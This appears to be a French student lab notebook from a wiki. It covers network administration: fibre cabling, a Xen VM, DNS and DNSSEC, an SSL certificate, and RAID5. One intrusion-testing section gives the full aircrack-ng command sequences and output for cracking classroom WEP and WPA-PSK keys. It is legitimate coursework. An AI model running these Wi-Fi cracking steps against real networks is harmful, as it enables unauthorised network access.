Cahier 2016 groupe n°2

De Wiki de Projets IMA
Révision datée du 28 novembre 2016 à 11:19 par Jjoignau (discussion | contributions) (Sécurisation des données)

Tâche particulière

Câblage de la fibre:
Prise de connaissance du sujet de PRA et le choix des tâches particulières. Nous avons également commencer à essayer d'identifier les câbles de fibres déjà existants.
Toujours sur la tâche particulière. Identification de tous les câbles déjà tirés. Test de link de chaque câble. Nous avons également commencé à passer les câbles restants. Tous les câbles nécessaires ont été tirés entre les deux salles, tous les link sont up. Nous avons identifié chaque câble par un scotch de couleur différente. Nous avons également percé la gouttière de la E304 pour laisser passer un raccord de fibre proprement.

  • Nous avons pu identifier les câbles déjà présents. Il y a donc 2 câbles déjà tirés entre les 2 piles, 2 câbles qui partent de la E306 jusqu'au boîtier ainsi qu'un câble par salle quid descend dans le local technique.
  • Nous allons donc prolonger les 2 câbles s'arrêtant dans le boîtier et tirer 2 nouveaux câbles entre les deux piles: nous aurons donc 6 fils au total.
  • 2 Grands câbles de 30m ~ -> Estimation de 26m entre les 2 piles.
  • 2 petits câbles de 15m ~ -> Estimation de 13m du boîtier à la pile
  • Retirer le câble ethernet qui était tiré entre les 2 piles.
  • 7 heures passées au total sur la tâche particulière
Fibre passant entre les 2 salles
Câbles dans le faux plafond
Guide câbles pour le faux plafond
Boîtiers contenant les raccords de fibres
Les fibres en E304 disponibles
Trou dans le cache laissant passer la fibre









































































Travail commun

  • Installation de la machine virtuelle XEN
xen-create-image --hostname=GreenArrow --ip=193.48.57.162 --netmask=255.255.255.240 --gateway=193.48.57.172
  --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie

Modification du fichier de configuration de la machine virtuelle pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l'hôte:

lvcreate -L 10G -n /dev/virtual/ima5-GreenArrow-home -v
lvcreate -L 10G -n /dev/virtual/ima5-GreenArrow-var -v
disk        = [
                  'file:/usr/local/xen/domains/GreenArrow/disk.img,xvda2,w',
                  'file:/usr/local/xen/domains/GreenArrow/swap.img,xvda1,w',
                  'phy:/dev/virtual/ima5-GreenArrow-home,xvdc,w',
                  'phy:/dev/virtual/ima5-GreenArrow-var,xvdb,w',
              ]


  • Achat du nom de domaine [1] sur Gandi pour 1.19€ TTC

Services Internet

Serveur SSH

Sur notre machine virtuelle nous avons configuré le fichier sshd_config (changement de la ligne PubkeyAuthentication) :

root@GreenArrow:~# vim /etc/ssh/sshd_config

RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile     %h/.ssh/authorized_keys

root@GreenArrow:~# service ssh restart

Nous avons ensuite réussi à nous connecter en SSH sur notre VM:

jjoignau@weppes:~$ ssh root@193.48.57.162
root@193.48.57.162's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Nov  7 10:06:49 2016
root@GreenArrow:~# exit

Serveur DNS

Tout d'abord, nous modifions le fichier named.conf.local pour créer les zones nécessaires :

root@GreenArrow:/etc/bind# vim /etc/bind/named.conf.local
zone "jjlddelamuerto.space" IN {
             type master;
             file "/etc/bind/db.jjlddelamuerto.space";
        };

zone "57.48.193.in-addr.arpa" IN {
             type master;
             file "/etc/bind/db.57.48.193.in-addr.arpa";
        };

Nous créons ensuite les fichiers db.jjlddelamuerto.space et db.57.48.193.in-addr.arpa :

$TTL    604800
@       IN      SOA     ns.jjlddelamuerto.space. root.jjlddelamuerto.space. (
                       2016113007       ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      ns.jjlddelamuerto.space. 
@       IN      NS      ns6.gandi.net.
ns      IN      A       193.48.57.162
www     IN      A       193.48.57.162
@       IN      A       193.48.57.162
ns      IN      AAAA       2001:660:4401:60ba:216:3eff:fe80:efa8
www     IN      AAAA       2001:660:4401:60ba:216:3eff:fe80:efa8
@       IN      AAAA       2001:660:4401:60ba:216:3eff:fe80:efa8
$TTL    604800
@       IN      SOA     jjlddelamuerto.space. root.jjlddelamuerto.space. (
                        2016113007      ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
57.48.193.in-addr.arpa.         IN      NS      ns.jjlddelamuerto.space.
57.48.193.in-addr.arpa.         IN      NS      ns2.gandi.net.

162                             IN      PTR     jjlddelamuerto.space.

Nous modifions ensuite le fichier /etc/resolv.conf afin de passer par notre serveur :

root@GreenArrow:/etc/bind# vim /etc/resolv.conf
search jjlddelamuerto.space
nameserver 193.48.57.162

Enfin, nous vérifions notre configuration :

root@GreenArrow:/etc/bind# host www.jjlddelamuerto.space
www.jjlddelamuerto.space has address 193.48.57.162
www.jjlddelamuerto.space has IPv6 address 2001:660:4401:60ba:216:3eff:fe80:efa8

root@GreenArrow:/etc/bind# host -tany jjlddelamuerto.space
jjlddelamuerto.space has IPv6 address 2001:660:4401:60ba:216:3eff:fe80:efa8
jjlddelamuerto.space has address 193.48.57.162
jjlddelamuerto.space has SOA record ns.jjlddelamuerto.space. root.jjlddelamuerto.space. 2016113007 604800 86400 2419200 604800
jjlddelamuerto.space name server ns6.gandi.net.
jjlddelamuerto.space name server ns.jjlddelamuerto.space.

Sécurisation de site web par certificat

Premièrement, sur Gandi nous lançons l'étape d'achat d'un certificat SSL. Puis, sur la VM nous générons le CSR grâce à cette commande:

root@GreenArrow:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout GreenArrow.key -out GreenArrow.csr
Generating a 2048 bit RSA private key

If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Nord
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:jjlddelamuerto.space
Email Address []:
A challenge password []:
An optional company name []:

root@GreenArrow:/etc/apache2/sites-available/clef# ls
GreenArrow.csr	GreenArrow.key

root@GreenArrow:/etc/apache2/sites-available/clef# cat GreenArrow.csr

-----BEGIN CERTIFICATE REQUEST-----
<CSR à renseigner sur Gandi lors de l'achat du certificat>
-----END CERTIFICATE REQUEST-----

Nous continuons donc la procédure pour obtenir le certificat, et attendons donc sa mise en place.

Pour recevoir le mail contenant le lien pour activer le certificat, nous installons les packages suivants :

root@GreenArrow:~# apt-get install postfix mailx

Une fois le certificat récupéré, nous les copions tous dans le bon répertoire, puis nous hashons le tout :

root@GreenArrow:/etc/bind# cp certificat.crt /etc/ssl/certs/jjlddelamuerto.space.crt
root@GreenArrow:/etc/bind# cp serveur.key /etc/ssl/private/jjlddelamuerto.space.key
root@GreenArrow:/etc/bind# cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem
root@GreenArrow:/etc/bind# c_rehash /etc/ssl/certs

Enfin, la dernière étape consiste en la modification des fichiers 000-jjlddelamuerto.space-ssl.conf et ports.conf :

root@GreenArrow:/etc/apache2/sites-available# cat 000-jjlddelamuerto.space-ssl.conf 
     <VirtualHost *:443>
         ServerName www.jjlddelamuerto.space
         ServerAlias jjlddelamuerto.space
         DocumentRoot /var/www/
         CustomLog /var/log/apache2/secure_access.log combined
   
         SSLEngine on
         SSLCertificateFile /etc/ssl/certs/jjlddelamuerto.space.crt
         SSLCertificateKeyFile /etc/ssl/private/jjlddelamuerto.space.key
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
         SSLVerifyClient None
     </VirtualHost>

root@GreenArrow:/etc/apache2# cat ports.conf 
Listen 80

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>

Un redémarrage du service apache2 est maintenant nécessaire :

root@GreenArrow:/etc/apache2# service apache2 stop
root@GreenArrow:/etc/apache2# service apache2 start
root@GreenArrow:/etc/apache2# service apache2 reload

Nous pouvons voir que notre site [2] est maintenant sécurisé, un cadenas vert est bien présent.

Sécurisation de serveur DNS par DNSSEC

Génération des clefs asymétriques:

   dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE jjlddelamuerto.space
   dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE jjlddelamuerto.space

On modifie le nom des clefs:

root@GreenArrow:/etc/bind/jjlddelamuerto.space.dnssec# ls
dsset-jjlddelamuerto.space.	  jjlddelamuerto.space-zsk.key
jjlddelamuerto.space-ksk.key	  jjlddelamuerto.space-zsk.private
jjlddelamuerto.space-ksk.private

Ensuite nous signons les zones:

root@GreenArrow:/etc/bind/jjlddelamuerto.space.dnssec# dnssec-signzone -o jjlddelamuerto.space -k jjlddelamuerto.space-ksk 
../db.jjlddelamuerto.space jjlddelamuerto.space-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked
../db.jjlddelamuerto.space.signed

Pour finir nous ajoutons la clef KSK sur Gandi avec l'algorithme RSA/SHA1.

Jjlddnssec.png

Tests d'intrusion

Intrusion par changement d'adresse MAC

Tout d'abord nous modifions le fichier /etc/network/interfaces:

root@zebrasoma:/home/pifou# vim /etc/network/interfaces
auto wlan5
iface wlan5 inet static
        address 172.26.79.21
        netmask 255.255.240.0
        gateway 172.26.79.254
        wireless mode-managed
        wireless-essid Wolverine
        wireless-key 0123456789

Nous vérifions ensuite que nous sommes associés à Wolverine:

root@zebrasoma:/home/pifou# iwconfig
wlan5     IEEE 802.11abg  ESSID:"Wolverine"  
          Mode:Managed  Frequency:2.462 GHz  Access Point: 44:AD:D9:5F:87:00   
          Bit Rate=54 Mb/s   Tx-Power=200 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:0123-4567-89
          Power Management:off
          Link Quality=50/70  Signal level=-60 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Nous changeons ensuite l'@ MAC:

root@zebrasoma:/home/pifou# ip link set wlan5 address 00:1a:56:a4:4b:ff
root@zebrasoma:/home/pifou# ip a
3: wlan5: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
    link/ether 00:1a:56:a4:4b:ff brd ff:ff:ff:ff:ff:ff
    inet 172.26.79.21/20 brd 172.26.79.255 scope global wlan5
       valid_lft forever preferred_lft forever


Après le changement d'@ MAC, l'association est bien impossible:

root@zebrasoma:/home/pifou# ifconfig wlan5 up
root@zebrasoma:/home/pifou# iwconfig        
wlan5     IEEE 802.11bgn  ESSID:"Wolverine"  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:0123-4567-89
          Power Management:off

Crackage de la clef WEP

Nous avons fait le crack de la clé WEP sur cracotte08. Pour cracker la clef WEP, nous avons tout d'abord utiliser airmon-ng afin de voir le statut des interfaces réseau.

root@zebrasoma:/home/pifou# airmon-ng


Interface	Chipset		Driver

mon0		Ralink RT2870/3070	rt2800usb - [phy1]
wlan0		Broadcom	wl - [phy0]
wlan5		Ralink RT2870/3070	rt2800usb - [phy1]

On entre ensuite en mode monitoring sur l'interface wlan5 :

root@zebrasoma:/home/pifou# airmon-ng start wlan5


Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID	Name
1986	avahi-daemon
1987	avahi-daemon


Interface	Chipset		Driver

mon0		Ralink RT2870/3070	rt2800usb - [phy1]
wlan0		Broadcom	wl - [phy0]
wlan5		Ralink RT2870/3070	rt2800usb - [phy1]
				(monitor mode enabled on mon1)

Pour continuer, nous capturons les paquets transitant afin de collecter les paquets nécessaires au décryptage de la clef WEP. L'option --encrypt wep permet de filtrer uniquement les points d'accès WEP.

root@zebrasoma:/home/pifou# airodump-ng --encrypt wep wlan5

 CH  5 ][ Elapsed: 0 s ][ 2016-03-31 18:36                                         
                                                                                                       
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                       
 44:AD:D9:5F:87:00  -42        3        0    0   3  54e. WEP  WEP         Wolverine                    
 04:DA:D2:9C:50:50  -59        2       11    0   2  54e. WEP  WEP         cracotte01                   
 04:DA:D2:9C:50:56  -59        3       19    0   2  54e. WEP  WEP         cracotte07                   
 04:DA:D2:9C:50:59  -59        2        0    0   2  54e. WEP  WEP         cracotte10                   
 04:DA:D2:9C:50:57  -59        2       15    0   2  54e. WEP  WEP         cracotte08                   
 04:DA:D2:9C:50:52  -58        3       85   42   2  54e. WEP  WEP         cracotte03                   
 04:DA:D2:9C:50:54  -58        1       20    9   2  54e. WEP  WEP         cracotte05                    
 04:DA:D2:9C:50:55  -60        1        9    4   2  54e. WEP  WEP         cracotte06                    
 04:DA:D2:9C:50:51  -59        2      134   66   2  54e. WEP  WEP         cracotte02                   
 04:DA:D2:9C:50:53  -61        6       95   47   2  54e. WEP  WEP         cracotte04                   
                                                                                                       
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                              
                                                                                                        
 04:DA:D2:9C:50:50  00:0F:B5:92:23:75  -66   54e-48e    68       10                                     
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -72   36e- 2e   133       19                                     
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -66   54e-36e    89       15                                     
 04:DA:D2:9C:50:52  00:0F:B5:92:23:6A  -62   54e-48e    23       84                                     
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -66   54e-36e   576       20                                     

Nous avons choisi de récuperer la clef WEP de cracotte03 (son BSSID est lié à une station)

root@zebrasoma:/home/pifou# airodump-ng --essid cracotte03 --channel 2 -w crackWEP wlan5

 CH  2 ][ Elapsed: 12 s ][ 2016-03-31 18:42                                         
                                                                                                       
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                       
 04:DA:D2:9C:50:52  -57  35       43     1066   87   2  54e. WEP  WEP         cracotte03               
                                                                                                       
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                             
                                                                                                                                   
 04:DA:D2:9C:50:52  00:0F:B5:92:23:6A  -64   36e-48e  1232     1067                                     

Enfin, nous lançons le crack de la clef à l'aide de aircrack-ng :

root@zebrasoma:/home/pifou# aircrack-ng crackWEP-02.cap
                           Aircrack-ng 1.2 beta3


                 [00:00:04] Tested 112801 keys (got 3050 IVs)

   KB    depth   byte(vote)
    0    6/ 10   CD(5120) 15(4864) 6D(4864) 8C(4864) A7(4864) 
    1   46/  1   E9(4352) 04(4096) 0E(4096) 0F(4096) 16(4096) 
    2   14/ 42   C8(4864) 10(4608) 11(4608) 1D(4608) 58(4608) 
    3   19/  3   CF(4864) 0A(4608) 5E(4608) 8E(4608) 90(4608) 
    4    2/ 16   08(5632) 89(5376) 96(5376) B4(5376) F7(5376) 

Failed. Next try with 5000 IVs.

Il est nécessaire d'être proche du point d’accès (sinon le débit est trop faible, ce qui rend l'opération longue), ainsi que de capturer un minimum de 10 000 paquets.

Au final, nous arrivons bien à récupérer la clef WEP :


                               Aircrack-ng 1.2 beta3


                 [00:04:10] Tested 799 keys (got 42913 IVs)

   KB    depth   byte(vote)
    0    0/  1   EE(56320) B4(51712) 9D(50944) 4E(50688) 28(50432) 
    1    1/  2   D9(55552) 3D(50176) 68(49664) 08(49408) 49(49152) 
    2    1/  5   A2(53504) 5B(52480) 93(52480) 73(52224) 10(50432) 
    3    1/  3   30(53248) 81(51456) 5B(49920) 6E(49920) 1E(49664) 
    4    9/  4   9D(50176) 31(49408) 18(49152) 72(49152) E1(49152) 

             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44 ] 
	Decrypted correctly: 100%

Cassage de mot de passe WPA-PSK par force brute

Nous refaisons les mêmes actions que pour le crackage de clef WEP. Cette fois nous essayons de cracker la clef WPA sur cracotte03.

root@zebrasoma:/home/pifou# airodump-ng --encrypt wpa wlan5
root@zebrasoma:/home/pifou# airodump-ng --essid cracotte03 --channel 13 -w crackWPA wlan5

Une fois le handshake récupéré:

root@zebrasoma:/home/pifou# aircrack-ng -w dico.txt crackWPA-01.cap

Nous avons lancé ceci sur le eeePC qui a une vitesse de traitement 5 fois inférieure à celle d'une zabeth environ (environ 5h de traitement). Puis nous obtenons le résultat suivant:

                                   Aircrack-ng 1.2 beta3


                   [04:32:42] 12399908 keys tested (759.63 k/s)


                           KEY FOUND! [ 12399903 ]


      Master Key     : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87 
                       40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93 

      Transient Key  : 70 EE 27 96 5B 34 B5 4F 06 A1 F2 B6 A7 16 1E 21 
                       7A 0B BD F4 13 67 5B 4C ED 30 A9 0D 91 E3 F9 7F 
                       88 E6 12 68 9C 77 4B 48 EB 5E 6A 5A DD 1D D9 08 
                       36 40 94 7D B4 05 80 B2 60 FA 84 81 50 CE DC 87 

      EAPOL HMAC     : 83 03 24 AC 39 AB 67 E7 7B C4 40 E8 6B 6D 7D 47 

Réalisations

Sécurisation des données

Nous créons d'abord 3 nouvelles partitions, que nous associons à notre VM en modifiant le fichier GreenArrow.cfg :

lvcreate -L 1G -n /dev/virtual/GreenArrow-1 -v
lvcreate -L 1G -n /dev/virtual/GreenArrow-2 -v
lvcreate -L 1G -n /dev/virtual/GreenArrow-3 -v

'phy:/dev/virtual/GreenArrow-1,xvdd,w',
'phy:/dev/virtual/GreenArrow-2,xvde,w',
'phy:/dev/virtual/GreenArrow-3,xvdf,w',

Il faut ensuite installer mdadm :

apt-get install mdadm

Nous avions une erreur à propos du subsystem. Pour que cela fonctionne, il nous manquait la commande :

apt-get install linux-image-3.16.0-4-amd64

Après un reboot de la machine, nous créons le volume /dev/md0:

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf

Pour avoir le détail de la configuration actuelle:

root@GreenArrow:~# mdadm --detail /dev/md0
/dev/md0:
        Version : 1.2
  Creation Time : Mon Nov 28 12:56:23 2016
     Raid Level : raid5
     Array Size : 2095104 (2046.34 MiB 2145.39 MB)
  Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
   Raid Devices : 3
  Total Devices : 3
    Persistence : Superblock is persistent

    Update Time : Mon Nov 28 12:56:23 2016
          State : clean 
 Active Devices : 3
Working Devices : 3
 Failed Devices : 0
  Spare Devices : 0

         Layout : left-symmetric
     Chunk Size : 512K

           Name : GreenArrow:0  (local to host GreenArrow)
           UUID : f70ca72e:e8adc585:ec023dca:21061341
         Events : 0

    Number   Major   Minor   RaidDevice State
       0     202       48        0      active sync   /dev/xvdd
       1     202       64        1      active sync   /dev/xvde
       2     202       80        2      active sync   /dev/xvdf

Puis nous sauvons cette dernière afin de conserver md0:

root@GreenArrow:~# mdadm --detail --scan >> /etc/mdadm/mdadm.conf

Puis:

root@GreenArrow:~# mkfs /dev/md0

Nous mettons en commentaire la 2ème partition dans le fichier de conf, puis redémarrons la machine:

root@GreenArrow:/datamd0# mdadm --detail /dev/md0
/dev/md0:
        Version : 1.2
  Creation Time : Mon Nov 28 12:56:23 2016
     Raid Level : raid5
     Array Size : 2095104 (2046.34 MiB 2145.39 MB)
  Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
   Raid Devices : 3
  Total Devices : 2
    Persistence : Superblock is persistent

    Update Time : Mon Nov 28 13:20:27 2016
          State : clean, degraded 
 Active Devices : 2
Working Devices : 2
 Failed Devices : 0
  Spare Devices : 0

         Layout : left-symmetric
     Chunk Size : 512K

           Name : GreenArrow:0  (local to host GreenArrow)
           UUID : f70ca72e:e8adc585:ec023dca:21061341
         Events : 4

    Number   Major   Minor   RaidDevice State
       0     202       48        0      active sync   /dev/xvdd
       2       0        0        2      removed
       2     202       80        2      active sync   /dev/xvdf

On voit bien qu'une partition a été supprimée